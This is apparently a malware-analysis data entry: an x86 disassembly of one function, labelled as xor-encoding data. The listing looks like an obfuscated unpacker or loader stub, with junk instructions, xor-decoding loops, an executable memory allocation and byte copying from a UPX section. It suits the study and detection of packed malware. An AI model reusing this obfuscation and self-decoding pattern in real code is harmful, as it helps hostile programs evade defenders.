Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x543a55ed
add ebx, 0xfe9ab860
sub esi, ebx
popal
not ebx
inc ebx
mov edx, 0
mov eax, edi
and esi, ecx
mov esi, 0x6ff7c640
mov ecx, 0xc7ae87b9
mov ebx, eax
mov ecx, esi
and ecx, esi
mov edi, ebx
inc esi
add ecx, 1
or ecx, ecx
inc edx
not esi
inc ecx
cmp edx, 0x100f0fb
jne 0xa789c3
sub ecx, 0xa01c9417
or esi, ecx
mov ebx, 0xa3be58d0
add esi, 1
and esi, esi
mov edx, 0xa78796
dec esi
inc ebx
inc esi
mov eax, 0xa7898a
add ebx, 0x2acb4ece
add esi, 0xde88cd18
mov ecx, dword [edx]
or esi, esi
sub esi, 0x4fb163df
mov ebx, edi
and ecx, 0xff
add edi, 0xacc0dbb6
add ebx, esi
mov esi, edi
xor dword [eax], ecx
sub edi, esi
mov edi, ebx
inc eax
and edi, esi
not esi
mov ebx, 0x496433d1
inc edx
dec esi
mov esi, edi
add ebx, esi
cmp eax, entry0
jl 0xa78a20
add ebx, 0x8fad97c
add edi, ebx
mov ebx, esi
or edi, esi
sub ecx, 0xdcf996d
or esi, esi
sub ebx, 0x5b4cccaf
mov edx, 0xa7898e
add ebx, esi
inc edi
mov edx, dword [edx]
sub ebx, 0xe54e40ef
mov edi, 0x7bbc86fb
mov edx, dword [edx]
and ecx, ebx
add ebx, ecx
sub esp, 4
mov dword [esp], edx
not ecx
sub ecx, 0x32ce888f
sub esi, 0xaf57bc54
mov edx, 0xa7898a
add ebx, 1
add edi, 0x14de87c2
sub edi, ecx
mov edx, dword [edx]
add ecx, 0x31143377
mov edi, esi
mov edi, 0x7ee48d99
mov edx, dword [edx]
add ecx, 1
sub ecx, esi
sub ebx, 0x628dca8d
sub esp, 4
mov dword [esp], 0xa78992
not edi
inc edi
add esi, ecx
call edx
mov esi, edi
add edi, 0x4f67950c
dec ebx
pop edx
sub ebx, esi
and ecx, ebx
inc ebx
sub esp, 4
mov dword [esp], 0xa7899f
sub ebx, 0x5594fdd
or esi, edi
sub esp, 4
mov dword [esp], eax
and edi, edi
add esi, 1
call edx
sub ebx, esi
add esi, ecx
inc ebx
push 0x40
sub edi, ecx
and edi, esi
sub esp, 4
mov dword [esp], 0x3000
mov ecx, edi
and edi, ebx
not ebx
push 0x20000d8a
not ecx
dec ecx
sub esp, 4
mov dword [esp], 0
add ebx, 0x4e8231f9
not edi
and ebx, ebx
call eax
not ebx
add ebx, 0x972ea365
mov ebx, 0x60eaf704
add eax, 0x20000cd8
not edi
sub ebx, edi
mov edx, 0xd1c20725
mov ecx, edi
not edi
add ecx, ecx
mov dword [eax], edx
not ecx
sub edi, esi
mov ecx, ebx
mov edx, dword [eax]
add ebx, ecx
mov esi, 0x27b92c44
cmp edx, 0xd1c20725
je 0xa78b99
mov ecx, 0
mov ebx, dword [ecx]
add ebx, 1
sub ebx, esi
sub ecx, 0x9f1153c4
not edi
sub esi, ecx
not ebx
add ebx, ebx
or esi, ebx
mov edx, section.UPX1
and ebx, ebx
and ebx, ebx
or ebx, esi
mov edi, 0xa78795
dec esi
sub esi, 0xd97a9be9
mov eax, 0
mov esi, 0x32cf15ce
and ebx, esi
mov ecx, 0xa78796
not esi
add esi, ebx
sub ebx, esi
lea ecx, [ecx + eax]
mov esi, 0xac3bbe74
mov ebx, 0xc2b1ec66
not ebx
mov ecx, dword [ecx]
add esi, 0x6603e998
sub esi, 0xa483081c
or esi, esi
and ecx, 0xff
or ebx, ebx
mov ebx, 0x3bc22e51
inc eax
add esi, 1
dec ebx
or ebx, esi
cmp eax, 0x1f4
jne 0xa78c22
mov eax, 0
or ebx, ebx
not esi
not ebx
inc ebx
xor dword [edx], ecx
add ebx, 0x596d8a6
or ebx, esi
add edx, 2
add ebx, 1
not esi
and ebx, ebx
cmp edx, edi
jl 0xa78bd4
sub ebx, esi
mov esi, 0x9b68e149
add esi, 0x6ab94442
mov esi, ebx
add ebx, ebx
mov esi, section.UPX1
add ebx, 0x7bdf060e
inc ebx
add ecx, 0x438e6a96
mov edi, section.UPX1
and ebx, ecx
sub ebx, ecx
mov eax, 0xa78795
mov ecx, 0x1a94b212
not ecx
mov edx, 0
dec ebx
and ecx, ecx
mov dl, byte [edi]
and ebx, ecx
or ecx, ebx
mov byte [esi], dl
add ecx, ebx
mov ecx, 0xd66b0f8e
sub ecx, 0x4ea9302b
inc esi
sub ecx, 0xb1412d01
mov ebx, ecx
add edi, 2
or ebx, ebx
inc ecx
sub ebx, ecx
cmp edi, eax
jle 0xa78c8b
add ecx, 0xb06685a2
add ebx, ebx
mov esi, ebx
sub esi, 0x5a65df36
inc ebx
push 0x8dc6a0
add esi, esi
mov esi, ebx
ret